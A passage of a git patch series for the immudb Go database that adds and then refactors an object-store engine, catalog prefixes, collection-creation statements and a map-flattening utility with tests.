ErrIllegalMappedKey) require.Zero(t, id) - id, err = unmapDatabaseID(e.prefix, []byte("pref")) + id, err = unmapDatabaseID(e.prefix, []byte("pref"), catalogDatabasePrefix) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, id) - id, err = unmapDatabaseID(e.prefix, []byte("e-prefix.a")) + id, err = unmapDatabaseID(e.prefix, []byte("e-prefix.a"), catalogDatabasePrefix) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, id) id, err = unmapDatabaseID(e.prefix, []byte( "e-prefix.CTL.DATABASE.a", - )) + ), catalogDatabasePrefix) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, id) id, err = unmapDatabaseID(e.prefix, append( []byte("e-prefix.CTL.DATABASE."), 1, 2, 3, 4, - )) + ), catalogDatabasePrefix) require.NoError(t, err) require.EqualValues(t, 0x01020304, id) } @@ -4297,14 +4297,14 @@ func TestUnmapDatabaseId(t *testing.T) { func TestUnmapTableId(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} - dbID, tableID, err := unmapTableID(e.prefix, nil) + dbID, tableID, err := unmapTableID(e.prefix, nil, catalogTablePrefix) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, dbID) require.Zero(t, tableID) dbID, tableID, err = unmapTableID(e.prefix, []byte( "e-prefix.CTL.TABLE.a", - )) + ), catalogTablePrefix) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4313,7 +4313,7 @@ func TestUnmapTableId(t *testing.T) { []byte("e-prefix.CTL.TABLE."), 0x01, 0x02, 0x03, 0x04, 0x11, 0x12, 0x13, 0x14, - )) + ), catalogTablePrefix) require.NoError(t, err) require.EqualValues(t, 0x01020304, dbID) require.EqualValues(t, 0x11121314, tableID) @@ -4322,7 +4322,7 @@ func TestUnmapTableId(t *testing.T) { func TestUnmapColSpec(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} - dbID, tableID, colID, colType, err := unmapColSpec(e.prefix, nil) + dbID, tableID, colID, colType, err := unmapColSpec(e.prefix, nil, catalogColumnPrefix) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4331,7 +4331,7 @@ func TestUnmapColSpec(t *testing.T) { dbID, tableID, colID, colType, err = unmapColSpec(e.prefix, []byte( "e-prefix.CTL.COLUMN.a", - )) + ), catalogColumnPrefix) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4344,7 +4344,7 @@ func TestUnmapColSpec(t *testing.T) { 0x11, 0x12, 0x13, 0x14, 0x21, 0x22, 0x23, 0x24, 0x00, - )) + ), catalogColumnPrefix) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4357,7 +4357,7 @@ func TestUnmapColSpec(t *testing.T) { 0x11, 0x12, 0x13, 0x14, 0x21, 0x22, 0x23, 0x24, 'I', 'N', 'T', 'E', 'G', 'E', 'R', - )) + ), catalogColumnPrefix) require.NoError(t, err) require.EqualValues(t, 0x01020304, dbID) diff --git a/embedded/sql/options.go b/embedded/sql/options.go index 43df3047cb..ac0d023c34 100644 --- a/embedded/sql/options.go +++ b/embedded/sql/options.go @@ -62,3 +62,15 @@ func (opts *Options) WithAutocommit(autocommit bool) *Options { opts.autocommit = autocommit return opts } + +func (opts *Options) GetPrefix() []byte { + return opts.prefix +} + +func (opts *Options) GetDistinctLimit() int { + return opts.distinctLimit +} + +func (opts *Options) GetAutoCommit() bool { + return opts.autocommit +} From 9a4326e821947f93d48f978f026e717981488d5b Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 22 Feb 2023 14:58:37 +0530 Subject: [PATCH 0307/1062] chore(embedded/object): add collection/database statements --- embedded/object/api.go | 3 - embedded/object/statement.go | 160 ++++++++++++++++++++++++++++++++++- embedded/object/tx.go | 2 +- embedded/sql/catalog.go | 12 +++ pkg/util/flatten.go | 74 ++++++++++++++++ 5 files changed, 243 insertions(+), 8 deletions(-) create mode 100644 pkg/util/flatten.go diff --git a/embedded/object/api.go b/embedded/object/api.go index 5262c5134b..a294933f46 100644 --- a/embedded/object/api.go +++ b/embedded/object/api.go @@ -2,8 +2,6 @@ package object import ( "context" - - "github.com/codenotary/immudb/embedded/sql" ) const ( @@ -27,5 +25,4 @@ const ( type Stmt interface { execAt(ctx context.Context, tx Tx, params map[string]interface{}) (Tx, error) - inferParameters(ctx context.Context, tx Tx, params map[string]sql.SQLValueType) error } diff --git a/embedded/object/statement.go b/embedded/object/statement.go index 058d38ff30..866824cd83 100644 --- a/embedded/object/statement.go +++ b/embedded/object/statement.go @@ -2,19 +2,21 @@ package object import ( "context" + "encoding/binary" "fmt" "github.com/codenotary/immudb/embedded/sql" ) +const ( + nullableFlag byte = 1 << iota + autoIncrementFlag byte = 1 << iota +) + type UseDatabaseStmt struct { DB string } -func (stmt *UseDatabaseStmt) inferParameters(ctx context.Context, tx Tx, params map[string]sql.SQLValueType) error { - return nil -} - func (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx Tx, params map[string]interface{}) (Tx, error) { if stmt.DB == "" { return nil, fmt.Errorf("%w: no database name was provided", sql.ErrIllegalArguments) @@ -41,3 +43,153 @@ func (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx Tx, params map[strin return otx, otx.useDatabase(stmt.DB) } + +type CreateDatabaseStmt struct { + DB string + ifNotExists bool +} + +func (stmt *CreateDatabaseStmt) execAt(ctx context.Context, tx Tx, params map[string]interface{}) (Tx, error) { + otx := tx.(*ObjectTx) + + if otx.IsExplicitCloseRequired() { + return nil, fmt.Errorf("%w: collection creation can not be done within a transaction", sql.ErrNonTransactionalStmt) + } + + if otx.engine.multidbHandler != nil { + return nil, otx.engine.multidbHandler.CreateDatabase(ctx, stmt.DB, stmt.ifNotExists) + } + + id := uint32(len(otx.catalog.Databases()) + 1) + + db, err := otx.catalog.NewDatabase(id, stmt.DB) + if err == sql.ErrDatabaseAlreadyExists && stmt.ifNotExists { + return otx, nil + } + if err != nil { + return nil, err + } + + err = otx.set(sql.MapKey(otx.Prefix(), catalogDatabasePrefix, sql.EncodeID(db.ID())), nil, []byte(stmt.DB)) + if err != nil { + return nil, err + } + + return otx, nil +} + +type CreateCollectionStmt struct { + collection string + ifNotExists bool + colsSpec []*sql.ColSpec + pkColNames []string +} + +func (stmt *CreateCollectionStmt) execAt(ctx context.Context, tx Tx, params map[string]interface{}) (Tx, error) { + otx := tx.(*ObjectTx) + + if otx.currentDB == nil { + return nil, sql.ErrNoDatabaseSelected + } + + if stmt.ifNotExists && otx.currentDB.ExistTable(stmt.collection) { + return tx, nil + } + + table, err := otx.currentDB.NewTable(stmt.collection, stmt.colsSpec) + if err != nil { + return nil, err + } + + // createIndexStmt := &sql.CreateIndexStmt{unique: true, table: table.name, cols: stmt.pkColNames} + // _, err = createIndexStmt.execAt(ctx, tx, params) + // if err != nil { + // return nil, err + // } + + for _, col := range table.Cols() { + if col.IsAutoIncremental() { + tcols := table.PrimaryIndex().Cols() + if len(tcols) > 1 || col.ID() != tcols[0].ID() { + return nil, sql.ErrLimitedAutoIncrement + } + } + + err := persistColumn(col, otx) + if err != nil { + return nil, err + } + } + + mappedKey := sql.MapKey(otx.Prefix(), catalogTablePrefix, sql.EncodeID(otx.currentDB.ID()), sql.EncodeID(table.ID())) + + err = otx.set(mappedKey, nil, []byte(table.Name())) + if err != nil { + return nil, err + } + + return otx, nil +} + +func persistColumn(col *sql.Column, tx *ObjectTx) error { + //{auto_incremental | nullable}{maxLen}{colNAME}) + v := make([]byte, 1+4+len(col.Name())) + + if col.IsAutoIncremental() { + v[0] = v[0] | autoIncrementFlag + } + + if col.IsNullable() { + v[0] = v[0] | nullableFlag + } + + binary.BigEndian.PutUint32(v[1:], uint32(col.MaxLen())) + + copy(v[5:], []byte(col.Name())) + + mappedKey := sql.MapKey( + tx.Prefix(), + catalogColumnPrefix, + sql.EncodeID(col.Table().Database().ID()), + sql.EncodeID(col.Table().ID()), + sql.EncodeID(col.ID()), + []byte(col.Type()), + ) + + return tx.set(mappedKey, nil, v) +} + +type tableRef struct { + db string + table string +} + +func (stmt *tableRef) referencedTable(tx *ObjectTx) (*sql.Table, error) { + if tx.currentDB == nil { + return nil, sql.ErrNoDatabaseSelected + } + + if stmt.db != "" && stmt.db != tx.currentDB.Name() { + return nil, + fmt.Errorf( + "%w: statements must only involve current selected database '%s' but '%s' was referenced", + sql.ErrNoSupported, tx.currentDB.Name(), stmt.db, + ) + } + + table, err := tx.currentDB.GetTableByName(stmt.table) + if err != nil { + return nil, err + } + + return table, nil +} + +type UpsertIntoStmt struct { + tableRef *tableRef + sql.UpsertIntoStmt +} + +type RowSpec struct { + Values []sql.ValueExp +} diff --git a/embedded/object/tx.go b/embedded/object/tx.go index e688e50a12..e412d57cb8 100644 --- a/embedded/object/tx.go +++ b/embedded/object/tx.go @@ -104,7 +104,7 @@ func (otx *ObjectTx) TxHeader() *store.TxHeader { return otx.txHeader } -func (otx *ObjectTx) sqlPrefix() []byte { +func (otx *ObjectTx) Prefix() []byte { return otx.engine.prefix } diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index da17f5ab3d..b85635071e 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -127,6 +127,10 @@ func (c *Catalog) ExistDatabase(db string) bool { return exists } +func (c *Catalog) NewDatabase(id uint32, name string) (*Database, error) { + return c.newDatabase(id, name) +} + func (c *Catalog) newDatabase(id uint32, name string) (*Database, error) { exists := c.ExistDatabase(name) if exists { @@ -343,6 +347,10 @@ func indexName(tableName string, cols []*Column) string { return buf.String() } +func (db *Database) NewTable(name string, colsSpec []*ColSpec) (table *Table, err error) { + return db.newTable(name, colsSpec) +} + func (db *Database) newTable(name string, colsSpec []*ColSpec) (table *Table, err error) { if len(name) == 0 || len(colsSpec) == 0 { return nil, ErrIllegalArguments @@ -549,6 +557,10 @@ func (c *Column) IsAutoIncremental() bool { return c.autoIncrement } +func (c *Column) Table() *Table { + return c.table +} + func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { switch sqlType { case BooleanType: diff --git a/pkg/util/flatten.go b/pkg/util/flatten.go new file mode 100644 index 0000000000..084ffee1f2 --- /dev/null +++ b/pkg/util/flatten.go @@ -0,0 +1,74 @@ +package util + +import ( + "reflect" + "strconv" +) + +type Option struct { + Prefix string + Delimiter string + MaxDepth int +} + +func DefaultOption() *Option { + return &Option{ + Delimiter: ".", + } +} + +// Flatten takes a nested map and returns a flattened map. +func Flatten(nested map[string]interface{}, opts *Option) (m map[string]interface{}) { + if opts == nil { + opts = DefaultOption() + } + + return flatten(opts.Prefix, 0, nested, opts) +} + +func flatten(prefix string, depth int, nested interface{}, opts *Option) (res map[string]interface{}) { + res = make(map[string]interface{}) + + switch t := nested.(type) { + case map[string]interface{}: + if opts.MaxDepth != 0 && depth >= opts.MaxDepth { + res[prefix] = t + return + } + if reflect.DeepEqual(t, map[string]interface{}{}) { + res[prefix] = t + return + } + for k, v := range t { + key := withPrefix(prefix, k, opts) + fm1 := flatten(key, depth+1, v, opts) + mergeMap(res, fm1) + } + case []interface{}: + if reflect.DeepEqual(t, []interface{}{}) { + res[prefix] = t + return + } + for i, v := range t { + key := withPrefix(prefix, strconv.Itoa(i), opts) + fm1 := flatten(key, depth+1, v, opts) + mergeMap(res, fm1) + } + default: + res[prefix] = t + } + return +} + +func withPrefix(prefix string, key string, opts *Option) string { + if prefix != "" { + return prefix + opts.Delimiter + key + } + return key +} + +func mergeMap(to map[string]interface{}, from map[string]interface{}) { + for kt, vt := range from { + to[kt] = vt + } +} From 01d7c2e346566801bf361ecff97498d3b40baff6 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 23 Feb 2023 12:27:26 +0530 Subject: [PATCH 0308/1062] chore(pkg/database): add object store --- embedded/object/engine.go | 9 ++-- embedded/object/engine_test.go | 72 ++++++++++++++++++++++++++++++ embedded/sql/stmt.go | 10 +++++ pkg/database/database.go | 57 ++++++++++++++++++++++++ pkg/util/flatten.go | 18 ++++---- pkg/util/flatten_test.go | 80 ++++++++++++++++++++++++++++++++++ 6 files changed, 232 insertions(+), 14 deletions(-) create mode 100644 embedded/object/engine_test.go create mode 100644 pkg/util/flatten_test.go diff --git a/embedded/object/engine.go b/embedded/object/engine.go index dbf911ed55..b3b97f9e9c 100644 --- a/embedded/object/engine.go +++ b/embedded/object/engine.go @@ -11,7 +11,7 @@ import ( ) var maxKeyLen = 256 -var objectPrefix = []byte{3} +var ObjectPrefix = []byte{3} const EncIDLen = 4 const EncLenLen = 4 @@ -36,7 +36,7 @@ type MultiDBHandler interface { ListDatabases(ctx context.Context) ([]string, error) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error UseDatabase(ctx context.Context, db string) error - ExecPreparedStmts(ctx context.Context, opts *sql.TxOptions, stmts []Stmt, params map[string]interface{}) (ntx *ObjectTx, committedTxs []*ObjectTx, err error) + Exec(ctx context.Context, opts *sql.TxOptions, stmts []Stmt, params map[string]interface{}) (ntx *ObjectTx, committedTxs []*ObjectTx, err error) } func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { @@ -127,7 +127,6 @@ func (e *Engine) NewTx(ctx context.Context, opts *sql.TxOptions) (*ObjectTx, err } catalog := newObjectCatalog() - err = catalog.Load(e.prefix, tx) if err != nil { return nil, err @@ -155,7 +154,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *sql.TxOptions) (*ObjectTx, err }, nil } -func (e *Engine) ExecPreparedStmts(ctx context.Context, tx *ObjectTx, stmts []Stmt, params map[string]interface{}) (ntx *ObjectTx, committedTxs []*ObjectTx, err error) { +func (e *Engine) Exec(ctx context.Context, tx *ObjectTx, stmts []Stmt, params map[string]interface{}) (ntx *ObjectTx, committedTxs []*ObjectTx, err error) { ntx, ctxs, pendingStmts, err := e.execPreparedStmts(ctx, tx, stmts, params) if err != nil { return ntx, ctxs, err @@ -176,7 +175,7 @@ func (e *Engine) ExecPreparedStmts(ctx context.Context, tx *ObjectTx, stmts []St opts = sql.DefaultTxOptions() } - ntx, hctxs, err := e.multidbHandler.ExecPreparedStmts(ctx, opts, pendingStmts, params) + ntx, hctxs, err := e.multidbHandler.Exec(ctx, opts, pendingStmts, params) return ntx, append(ctxs, hctxs...), err } diff --git a/embedded/object/engine_test.go b/embedded/object/engine_test.go new file mode 100644 index 0000000000..129f62ea1d --- /dev/null +++ b/embedded/object/engine_test.go @@ -0,0 +1,72 @@ +package object + +import ( + "context" + "testing" + + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" + "github.com/stretchr/testify/require" +) + +func closeStore(t *testing.T, st *store.ImmuStore) { + err := st.Close() + if !t.Failed() { + // Do not pollute error output if test has already failed + require.NoError(t, err) + } +} + +func TestCreateCollection(t *testing.T) { + st, err := store.Open(t.TempDir(), store.DefaultOptions()) + require.NoError(t, err) + defer closeStore(t, st) + + engine, err := NewEngine(st, sql.DefaultOptions().WithPrefix(ObjectPrefix)) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, []Stmt{ + &CreateDatabaseStmt{DB: "db1"}, + }, nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, []Stmt{ + &UseDatabaseStmt{DB: "db1"}, + }, nil) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, + []Stmt{&CreateCollectionStmt{ + collection: "collection1", + ifNotExists: false, + colsSpec: []*sql.ColSpec{ + sql.NewColSpec("id", sql.IntegerType, 0, false, false), + sql.NewColSpec("name", sql.VarcharType, 50, false, false), + sql.NewColSpec("ts", sql.TimestampType, 0, false, false), + sql.NewColSpec("active", sql.BooleanType, 0, false, false), + sql.NewColSpec("content", sql.BLOBType, 0, false, false), + }, + pkColNames: []string{"id", "name"}, + }}, + nil, + ) + require.NoError(t, err) + + catalog, err := engine.Catalog(context.Background(), nil) + require.NoError(t, err) + + table, err := catalog.GetTableByName("db1", "collection1") + require.NoError(t, err) + + require.Equal(t, "collection1", table.Name()) + c, err := table.GetColumnByID(1) + require.NoError(t, err) + require.Equal(t, c.Name(), "id") + + c, err = table.GetColumnByID(2) + require.NoError(t, err) + require.Equal(t, c.Name(), "name") + +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index af17e225fa..87d9cd5e2a 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -348,6 +348,16 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return tx, nil } +func NewColSpec(name string, colType SQLValueType, maxLen int, autoIncrement bool, notNull bool) *ColSpec { + return &ColSpec{ + colName: name, + colType: colType, + maxLen: maxLen, + autoIncrement: autoIncrement, + notNull: notNull, + } +} + type ColSpec struct { colName string colType SQLValueType diff --git a/pkg/database/database.go b/pkg/database/database.go index aee7a10eb5..7ed56204a8 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -28,6 +28,7 @@ import ( "sync" "time" + "github.com/codenotary/immudb/embedded/object" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" @@ -153,6 +154,10 @@ type db struct { sqlInitCancel chan (struct{}) sqlInit sync.WaitGroup + objectEngine *object.Engine + objectInitCancel chan (struct{}) + objectInit sync.WaitGroup + mutex *instrumentedRWMutex closingMutex sync.Mutex @@ -212,6 +217,11 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, err } + dbi.objectEngine, err = object.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix(object.ObjectPrefix)) + if err != nil { + return nil, err + } + txPool, err := dbi.st.NewTxHolderPool(op.readTxPoolSize, false) if err != nil { return nil, logErr(dbi.Logger, "Unable to create tx pool: %s", err) @@ -220,6 +230,8 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l if op.replica { dbi.sqlEngine.SetMultiDBHandler(multidbHandler) + // TODO: object engine should be able to handle multiple databases + // dbi.objectEngine.SetMultiDBHandler(multidbHandler) dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil @@ -228,6 +240,9 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.sqlInitCancel = make(chan struct{}) dbi.sqlInit.Add(1) + dbi.objectInitCancel = make(chan struct{}) + dbi.objectInit.Add(1) + go func() { defer dbi.sqlInit.Done() @@ -244,6 +259,23 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) }() + go func() { + defer dbi.objectInit.Done() + + dbi.Logger.Infof("Loading Object Engine for database '%s' {replica = %v}...", dbName, op.replica) + + err := dbi.initObjectEngine(context.Background()) + if err != nil { + dbi.Logger.Errorf("Unable to load Object Engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) + return + } + + // TODO: object engine should be able to handle multiple databases + // dbi.objectEngine.SetMultiDBHandler(multidbHandler) + + dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) + }() + dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil @@ -279,6 +311,20 @@ func (d *db) initSQLEngine(ctx context.Context) error { return nil } +func (d *db) initObjectEngine(ctx context.Context) error { + err := d.objectEngine.SetCurrentDatabase(ctx, dbInstanceName) + if err != nil && err != sql.ErrDatabaseDoesNotExist { + return err + } + + if err == sql.ErrDatabaseDoesNotExist { + return fmt.Errorf("automatic SQL initialization of databases created with older versions is now disabled. " + + "Please reach out to the immudb maintainers at the Discord channel if you need any assistance") + } + + return nil +} + // NewDB Creates a new Database along with it's directories and files func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log logger.Logger) (DB, error) { if dbName == "" { @@ -338,6 +384,11 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } + dbi.objectEngine, err = object.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix(object.ObjectPrefix)) + if err != nil { + return nil, logErr(dbi.Logger, "Unable to open database: %s", err) + } + if !op.replica { // TODO: get rid off this sql initialization _, _, err = dbi.sqlEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil) @@ -1616,7 +1667,13 @@ func (d *db) Close() (err error) { d.sqlInitCancel = nil } + if d.objectInitCancel != nil { + close(d.objectInitCancel) + d.objectInitCancel = nil + } + d.sqlInit.Wait() // Wait for SQL Engine initialization to conclude + d.objectInit.Wait() return d.st.Close() } diff --git a/pkg/util/flatten.go b/pkg/util/flatten.go index 084ffee1f2..5bfce7206a 100644 --- a/pkg/util/flatten.go +++ b/pkg/util/flatten.go @@ -17,19 +17,19 @@ func DefaultOption() *Option { } } -// Flatten takes a nested map and returns a flattened map. -func Flatten(nested map[string]interface{}, opts *Option) (m map[string]interface{}) { +// Flatten takes a data map and returns a flattened map. +func Flatten(data map[string]interface{}, opts *Option) (m map[string]interface{}) { if opts == nil { opts = DefaultOption() } - return flatten(opts.Prefix, 0, nested, opts) + return flatten(opts.Prefix, 0, data, opts) } -func flatten(prefix string, depth int, nested interface{}, opts *Option) (res map[string]interface{}) { +func flatten(prefix string, depth int, data interface{}, opts *Option) (res map[string]interface{}) { res = make(map[string]interface{}) - switch t := nested.(type) { + switch t := data.(type) { case map[string]interface{}: if opts.MaxDepth != 0 && depth >= opts.MaxDepth { res[prefix] = t @@ -41,8 +41,8 @@ func flatten(prefix string, depth int, nested interface{}, opts *Option) (res ma } for k, v := range t { key := withPrefix(prefix, k, opts) - fm1 := flatten(key, depth+1, v, opts) - mergeMap(res, fm1) + fmap := flatten(key, depth+1, v, opts) + mergeMap(res, fmap) } case []interface{}: if reflect.DeepEqual(t, []interface{}{}) { @@ -51,8 +51,8 @@ func flatten(prefix string, depth int, nested interface{}, opts *Option) (res ma } for i, v := range t { key := withPrefix(prefix, strconv.Itoa(i), opts) - fm1 := flatten(key, depth+1, v, opts) - mergeMap(res, fm1) + fmap := flatten(key, depth+1, v, opts) + mergeMap(res, fmap) } default: res[prefix] = t diff --git a/pkg/util/flatten_test.go b/pkg/util/flatten_test.go new file mode 100644 index 0000000000..8589bc296f --- /dev/null +++ b/pkg/util/flatten_test.go @@ -0,0 +1,80 @@ +package util + +import ( + "encoding/json" + "reflect" + "testing" +) + +func TestFlatten(t *testing.T) { + tests := []struct { + input string + option *Option + want map[string]interface{} + }{ + { + `{"foo": "bar"}`, + nil, + map[string]interface{}{"foo": "bar"}, + }, + { + `{"foo": true}`, + nil, + map[string]interface{}{"foo": true}, + }, + { + `{"foo": null}`, + nil, + map[string]interface{}{"foo": nil}, + }, + // nested once + { + `{"foo":{}}`, + nil, + map[string]interface{}{"foo": map[string]interface{}{}}, + }, + { + `{"foo":{"bar":"baz"}}`, + nil, + map[string]interface{}{"foo.bar": "baz"}, + }, + { + `{"foo":{"bar":true}}`, + nil, + map[string]interface{}{"foo.bar": true}, + }, + { + `{"foo":{"bar":null}}`, + nil, + map[string]interface{}{"foo.bar": nil}, + }, + // slice + { + `{"foo":{"bar":["one","two"]}}`, + nil, + map[string]interface{}{ + "foo.bar.0": "one", + "foo.bar.1": "two", + }, + }, + // custom delimiter + { + `{"foo":{"bar":{"again":"baz"}}}`, + &Option{ + Delimiter: "-", + }, + map[string]interface{}{"foo-bar-again": "baz"}, + }, + } + for i, test := range tests { + var input interface{} + err := json.Unmarshal([]byte(test.input), &input) + if err != nil { + t.Errorf("%d: failed to unmarshal test: %v", i+1, err) + } + got := Flatten(input.(map[string]interface{}), test.option) + if !reflect.DeepEqual(got, test.want) { + t.Errorf("%d: mismatch, got: %v want: %v", i+1, got, test.want) + } + } +} From e66dd4c3063ad28bf282baa3fe187b6179bbec51 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 23 Feb 2023 16:52:38 +0530 Subject: [PATCH 0309/1062] chore(embedded/sql): make sql engine generic for object store --- embedded/object/api.go | 30 ++- embedded/object/engine.go | 321 --------------------------------- embedded/object/engine_test.go | 34 ++-- embedded/object/statement.go | 195 -------------------- embedded/object/tx.go | 163 ----------------- embedded/sql/catalog.go | 52 +++--- embedded/sql/engine.go | 23 ++- embedded/sql/engine_test.go | 6 +- embedded/sql/options.go | 32 +++- embedded/sql/sql_tx.go | 12 ++ embedded/sql/stmt.go | 12 +- pkg/database/database.go | 28 +-- 12 files changed, 134 insertions(+), 774 deletions(-) delete mode 100644 embedded/object/engine.go delete mode 100644 embedded/object/statement.go delete mode 100644 embedded/object/tx.go diff --git a/embedded/object/api.go b/embedded/object/api.go index a294933f46..4a2beadaa8 100644 --- a/embedded/object/api.go +++ b/embedded/object/api.go @@ -1,28 +1,22 @@ package object -import ( - "context" -) - const ( catalogDatabasePrefix = "CTL.OBJ.DATABASE." // (key=CTL.OBJ.DATABASE.{dbID}, value={dbNAME}) catalogTablePrefix = "CTL.OBJ.TABLE." // (key=CTL.OBJ.TABLE.{dbID}{tableID}, value={tableNAME}) catalogColumnPrefix = "CTL.OBJ.COLUMN." // (key=CTL.OBJ.COLUMN.{dbID}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) catalogIndexPrefix = "CTL.OBJ.INDEX." // (key=CTL.OBJ.INDEX.{dbID}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) - // Old prefixes that must not be reused: - // `CATALOG.DATABASE.` - // `CATALOG.TABLE.` - // `CATALOG.COLUMN.` - // `CATALOG.INDEX.` - // `P.` primary indexes without null support - // `S.` secondary indexes without null support - // `U.` secondary unique indexes without null support - // `PINDEX.` single-column primary indexes - // `SINDEX.` single-column secondary indexes - // `UINDEX.` single-column secondary unique indexes +// Old prefixes that must not be reused: +// `CATALOG.DATABASE.` +// `CATALOG.TABLE.` +// `CATALOG.COLUMN.` +// `CATALOG.INDEX.` +// `P.` primary indexes without null support +// `S.` secondary indexes without null support +// `U.` secondary unique indexes without null support +// `PINDEX.` single-column primary indexes +// `SINDEX.` single-column secondary indexes +// `UINDEX.` single-column secondary unique indexes ) -type Stmt interface { - execAt(ctx context.Context, tx Tx, params map[string]interface{}) (Tx, error) -} +var ObjectPrefix = []byte{3} diff --git a/embedded/object/engine.go b/embedded/object/engine.go deleted file mode 100644 index b3b97f9e9c..0000000000 --- a/embedded/object/engine.go +++ /dev/null @@ -1,321 +0,0 @@ -package object - -import ( - "context" - "fmt" - "strings" - "sync" - - "github.com/codenotary/immudb/embedded/sql" - "github.com/codenotary/immudb/embedded/store" -) - -var maxKeyLen = 256 -var ObjectPrefix = []byte{3} - -const EncIDLen = 4 -const EncLenLen = 4 - -const MaxNumberOfColumnsInIndex = 8 - -type Engine struct { - store *store.ImmuStore - - prefix []byte - distinctLimit int - autocommit bool - - currentDatabase string - - multidbHandler MultiDBHandler - - mutex sync.RWMutex -} - -type MultiDBHandler interface { - ListDatabases(ctx context.Context) ([]string, error) - CreateDatabase(ctx context.Context, db string, ifNotExists bool) error - UseDatabase(ctx context.Context, db string) error - Exec(ctx context.Context, opts *sql.TxOptions, stmts []Stmt, params map[string]interface{}) (ntx *ObjectTx, committedTxs []*ObjectTx, err error) -} - -func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { - if store == nil { - return nil, sql.ErrIllegalArguments - } - - err := opts.Validate() - if err != nil { - return nil, err - } - - e := &Engine{ - store: store, - prefix: make([]byte, len(opts.GetPrefix())), - distinctLimit: opts.GetDistinctLimit(), - autocommit: opts.GetAutoCommit(), - } - - copy(e.prefix, opts.GetPrefix()) - - return e, nil -} - -func newObjectCatalog() *sql.Catalog { - return sql.NewCatalog(catalogDatabasePrefix, catalogTablePrefix, catalogColumnPrefix, catalogIndexPrefix) -} - -func (e *Engine) SetMultiDBHandler(handler MultiDBHandler) { - e.mutex.Lock() - defer e.mutex.Unlock() - - e.multidbHandler = handler -} - -func (e *Engine) SetCurrentDatabase(ctx context.Context, dbName string) error { - tx, err := e.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return err - } - defer tx.Cancel() - - db, err := tx.catalog.GetDatabaseByName(dbName) - if err != nil { - return err - } - - e.mutex.Lock() - defer e.mutex.Unlock() - - e.currentDatabase = db.Name() - - return nil -} - -func (e *Engine) CurrentDatabase() string { - e.mutex.RLock() - defer e.mutex.RUnlock() - - return e.currentDatabase -} - -func (e *Engine) NewTx(ctx context.Context, opts *sql.TxOptions) (*ObjectTx, error) { - err := opts.Validate() - if err != nil { - return nil, err - } - - var mode store.TxMode - if opts.ReadOnly { - mode = store.ReadOnlyTx - } else { - mode = store.ReadWriteTx - } - - txOpts := &store.TxOptions{ - Mode: mode, - SnapshotMustIncludeTxID: opts.SnapshotMustIncludeTxID, - SnapshotRenewalPeriod: opts.SnapshotRenewalPeriod, - } - - e.mutex.RLock() - defer e.mutex.RUnlock() - - tx, err := e.store.NewTx(ctx, txOpts) - if err != nil { - return nil, err - } - - catalog := newObjectCatalog() - err = catalog.Load(e.prefix, tx) - if err != nil { - return nil, err - } - - var currentDB *sql.Database - - if e.currentDatabase != "" { - db, err := catalog.GetDatabaseByName(e.currentDatabase) - if err != nil { - return nil, err - } - - currentDB = db - } - - return &ObjectTx{ - engine: e, - opts: opts, - tx: tx, - catalog: catalog, - currentDB: currentDB, - lastInsertedPKs: make(map[string]int64), - firstInsertedPKs: make(map[string]int64), - }, nil -} - -func (e *Engine) Exec(ctx context.Context, tx *ObjectTx, stmts []Stmt, 